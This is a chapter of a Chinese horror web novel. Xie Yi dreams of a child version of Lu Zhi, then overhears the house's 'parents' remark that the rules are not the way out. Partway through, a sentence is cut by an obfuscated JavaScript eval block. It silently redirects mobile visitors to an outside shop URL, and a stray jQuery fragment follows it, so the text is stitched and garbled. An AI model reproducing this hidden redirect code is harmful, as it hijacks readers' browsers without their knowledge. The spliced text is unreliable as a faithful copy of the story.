客厅的灯光调暗之后，五个人各自散入了房间。
这间"模范家庭"的房子比看起来大得多。走廊从客厅延伸出去，岔出三个房间——主卧、次卧、儿童房。主卧门锁着，钥匙不在任何地方，门缝里透不出光。次卧有两张单人床，中间隔着一个老旧的木质衣柜。儿童房只有一张小床，床单是浅粉色的，床头摆着一只褪色的布熊。
江野和徐晓分占了次卧的两张床。许清寒主动说睡客厅沙发，让林安诚睡儿童房。谢意最后被分配到了走廊尽头一间没有标记的房间——里面只有一张行军床，一个空书架，和一盏拧不亮的小台灯。墙上没有任何装饰，灰白色的墙皮在门缝渗进来的走廊光线下泛着冷光。
谢意关上门。行军床的弹簧在他坐上去的时候"嘎吱"一声。他躺下来，紫眼睛看着天花板。天花板上有一条极细的裂缝，从墙角延伸到灯座旁边，像一棵干枯的树被压扁了印在墙皮上。
他看着那道裂缝，看了很久。然后他合上眼。
他在一个陌生的地方醒过来。
四周是白色的。不是那种副本里均匀的虚空的白，是另一种——旧的、泛着淡淡暖意的白。像阳光照在被反复洗过太多次的旧床单上。他身下是柔软的，他低头看，是一大片蒲公英，密密麻麻地铺满了整个地面，花茎轻轻摇晃着，绒毛被风吹起来，在半空中飘浮。
他坐在蒲公英中间，腿弯成一个窝。窝里趴着一个小小的身体。
那个小孩趴在他腿上，和上次一样。浅色的头发软软的，额头抵着他的膝盖，两只小手攥着他裤子的布料。但这一次，他没有看不清小孩的脸。视野像被慢慢调焦的镜头一样，从模糊变清晰，一点点显露出那张面孔来。
小孩慢慢抬起头。他看起来五六岁的样子，脸还没长开，圆圆的、带着婴儿肥。皮肤很白，五官端正，睫毛很长，在下眼睑上投下一小片扇形的影子。他的眼睛是深色的，瞳孔很黑很亮，像两口被雨水洗干净了的小井。
眼尾有一道很浅很浅的、几乎看不出来的旧疤。从眉梢斜斜划下来，末端消失在颧骨上方。
谢意看着那张脸，整个人像被什么东西从喉咙深处攥了一下。
这张脸。他见过。在一张更成熟的面孔上，在副本长桌末端那把椅子上。在黑发黑瞳的沉默里，在旧夹克的领口上方。
一个缩小版的陆执。
小孩趴在他膝盖上，仰着脸看他，深色的眼睛亮晶晶的，嘴角弯着一个小小的、带着忐忑的笑。他开口了，声音和上次一样，软软的、含着一点奶气的黏糊劲儿："哥哥。"
谢意没有回答。他低头看着膝盖上那张缩小版的陆执的脸，看着那道缩小版的、从眉梢划到颧骨的旧疤，看着那两只攥着他裤腿的小手。
"……你是谁。"
小孩歪了歪头。蒲公英的绒毛在两个人之间飘浮着，有一些沾在了小孩浅色的头发上，像细碎的星星。"我叫陆执呀。哥哥不记得我了吗？"
谢意沉默了很久。
"陆执是大人。你——"
"那是我长大以后的样子。"小孩把脸往他膝盖上蹭了蹭，像猫在找人揉下巴，"哥哥说过，等我长大了就可以保护哥哥了。我现在还没长大，但我很快就能长大了。"
他说的每一个字都带着一种认真的、像背了很多遍的笃定。他抬起头看着谢意，深色的眼睛里有光，那种光很亮，但不刺眼，像夏天傍晚湖面反射的最后一缕夕阳。
"哥哥，你上次又走了。你去哪里了？"
"……我不知道。"
"你每次都这样说。"小孩的声音低下去一点，嘴角弯的弧度小了一点点，但他还是笑着的，像怕笑少了一点点哥哥就会更自责，"但我知道你会回来的。你每次都回来了。虽然晚了一点点，但回来了。"
他伸出手，小小的手指去碰谢意的脸。指尖触到颧骨的时候是温热的，像一块刚被太阳晒过的小石头。
"哥哥眼睛又变紫色了。"小孩说，"我每次看到紫色，就知道你回来了。"
蒲公英在风里轻轻晃着。那些白色的绒毛在两个人周围缓缓升起又落下，像一场无声的、缓慢的雪。
小孩又趴回了他膝盖上，额头抵着他的腿，闷闷地说了一句："哥哥下次带我一起走好不好？我不想一个人等。"
谢意低头看着他浅色的发顶。他的喉咙里有什么东西堵着，吞不下去也吐不出来。他张了一下嘴，声音从嗓子眼里挤出来，哑的："……好。"
小孩在他膝盖上小小地蜷了一下，像一只终于被搂进怀里的幼猫。他的声音慢慢地、慢慢地低下去，融进蒲公英的绒毛里："拉钩了……不能再骗我了……"
谢意低下头。他的右手小指被一只小小的、温热的手勾住了。那圈红痕在小孩的指间微微发亮，像一根被重新系紧的绳子。
他开口想问——你是谁。你为什么叫我哥哥。我什么时候说过要带你走。陆执到底是你还是他。我到底忘记了什么。
但他一个字都没来得及说出来。
蒲公英散了。白光散了。小孩的手从他指间滑落。视野从边缘开始变暗，像一张被火从外围点燃的纸，焦黑一寸一寸朝中心蔓延。
他猛地睁开眼。
天花板。灰白色。那道从墙角延伸到灯座旁边的裂缝。行军床的弹簧在他身下"嘎吱"响了一声。他的右手举在半空中，小指微微蜷着，像刚松开什么东西。
谢意躺在行军床上，呼吸又浅又急，胸口起伏了三次才慢慢稳下来。他把举在半空中的手放下来，看着自己的小指。那圈红痕还在。颜色比昨晚更深了一些，在昏暗的房间里泛着微弱的光。
他盯着那圈红痕看了很久。
然后他听见门外的走廊里传来声音。很轻，像两个人站在不远处说话，声音压低了，但隔着一扇薄薄的门板依然能捕捉到碎片。
"……你说他们在这里会呆多久？"
"不知道。看他们能忍多久。"
"我赌三天。那个大一点的，脾气看着就不好。"
"还有一个医生。医生一般能忍。那个最小的——"
"不知道。太小了。太小了有时候反而扛得住。什么都不懂，就不会怕。"
声音停了一下。然后是椅子被轻轻拉动的声响。
"……他们应该会遵守规则吧？"
"会。一开始都会。每个人都以为自己能熬过去。等发现规则不一定能救他们的时候，已经晚了。"
谢意躺在床上，听着门外
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814543|210992||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的对话碎片。那两个声音他认得——是晚饭时那对"父母"的声线。男人低沉，女人略微尖细，但此刻和晚饭时的语气完全不同。没有了那种刻意压制的家长式关切，变得平淡、疲惫、带着一种机械的例行公事感。
"……'模范'的标准越来越高。上一个撑了多久？"
"四十五天。"
"那这次——"
"不知道。这次的人有点不一样。有个孩子能看规则漏洞。"
女人的声音停了一下，然后说："看漏洞也没用。规则只是规则。能让你活，也能让你死。那些漏洞，你觉得是你找到的，其实是它留出来的。"
男人的声音低低地哼了一声："……反正，规则不一定是出路。他们迟早会明白。"
脚步声响起，朝着走廊另一端走远，慢慢消失在某一扇门后面。然后一切安静了，只剩空调的低鸣和窗外不知从何处传来的、像水管里水流经过的微弱声响。
谢意慢慢从行军床上坐起来。紫眼睛在昏暗的房间里像两粒被水泡过的石子，泛着浅淡的冷光。
他坐在床沿上，把那句话在心里放平了反复看了几遍——"规则不一定是出路"。
它的意思是，遵守规则最多只能活着。但要出去，必须做规则以外的事。
他把手伸进口袋。那张作息表还在，对折了两次，边角被体温焐得温热。他把它掏出来摊开，借着走廊门缝里漏进来的微弱光线，重新看了一遍上面的每一行字。
五点半起床。六点读书。八点吃饭。学习到下午五点。晚上学到十一点。中间每一个格子都填得严丝合缝，像一个精心打造的模具。把一个人放进去，压平，压薄，压成模子的形状。
他把作息表重新折起来放进抽屉里，站起来，走到门边。他把门打开一条缝往外看。
走廊空无一人。灯是亮着的，偏暖色的光，把地板的木纹照得很清楚。走廊尽头那扇主卧的门关着，门缝里透不出任何光。
他轻轻把门带上了，退回房间里，在行军床床沿坐了一会儿。
然后他开口对着空气说了一句话，声音很小："……你们说过，规则不一定是出路。但规则没说不可以改。"
没有人回答他。窗外的白色虚空依然均匀地铺着，看不见星星，看不见月亮，看不见任何东西。
谢意靠回枕头上，紫眼睛半阖着。右手小指上那圈红痕在他垂下去的手边微微亮了一下，像一盏被拧到最暗的小灯。
他闭上眼。但这一次没有睡着。他只是静静地躺着，在黑暗里把今天收集到的所有信息——晚饭时"父母"说话的语气变化、作息表背面打满的红色勾、走廊里那两段对话、还有梦里那个缩小版的陆执的脸——全部翻出来，在脑海里一一排开。
蒲公英的绒毛还在他记忆里飘着。小孩的手指温度还留在他小指上。那声"哥哥"在他耳道深处轻轻弹着，像一颗被丢进深井里的小石子，一直往下落，还没碰到水面。
他睁开眼。紫眼睛在黑暗中亮了一下，然后暗下去。
他知道明天的早餐桌上，还有一场"质询"等着他们。而他口袋里的那张作息表，已经不只是作息表了。它是一张地图——画出了这个副本的骨架。但他要走的路，不在纸上。